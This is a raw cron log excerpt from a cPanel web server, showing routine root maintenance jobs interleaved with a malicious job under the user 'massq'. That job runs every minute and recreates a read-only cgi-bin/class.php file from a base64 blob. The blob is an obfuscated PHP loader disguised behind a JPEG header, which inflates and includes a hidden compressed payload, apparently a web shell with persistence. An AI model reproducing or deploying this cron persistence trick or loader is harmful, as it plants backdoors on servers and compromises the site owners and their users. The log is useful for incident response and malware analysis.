Sep 12 21:05:01 server CROND[21574]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:05:01 server CROND[21583]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:06:01 server CROND[22397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:06:01 server CROND[22398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:06:01 server CROND[22400]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:07:01 server CROND[23016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:07:01 server CROND[23018]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:07:01 server CROND[23019]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:08:01 server CROND[23421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:08:01 server CROND[23422]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:08:01 server CROND[23423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:09:01 server CROND[23798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:09:01 server CROND[23799]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 21:09:01 server CROND[23801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:09:01 server CROND[23800]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:10:01 server CROND[24175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:10:01 server CROND[24177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:10:01 server CROND[24179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:10:01 server CROND[24180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:10:01 server CROND[24183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:10:01 server CROND[24184]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:10:01 server CROND[24182]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:10:01 server CROND[24181]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:11:01 server CROND[24998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:11:01 server CROND[25000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:11:01 server CROND[24999]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:12:01 server CROND[25460]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:12:01 server CROND[25459]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:12:01 server CROND[25461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:12:01 server CROND[25462]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:13:01 server CROND[25839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:13:01 server CROND[25840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:13:01 server CROND[25841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:14:01 server CROND[26206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:14:01 server CROND[26205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:14:01 server CROND[26208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:15:01 server CROND[26600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:15:01 server CROND[26605]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 21:15:01 server CROND[26602]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:15:01 server CROND[26606]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 21:15:01 server CROND[26603]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:15:01 server CROND[26607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:15:01 server CROND[26608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:15:01 server CROND[26604]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 21:16:01 server CROND[27539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:16:01 server CROND[27540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:16:01 server CROND[27541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:17:01 server CROND[27916]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 21:17:01 server CROND[27917]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:17:01 server CROND[27918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:18:01 server CROND[28393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
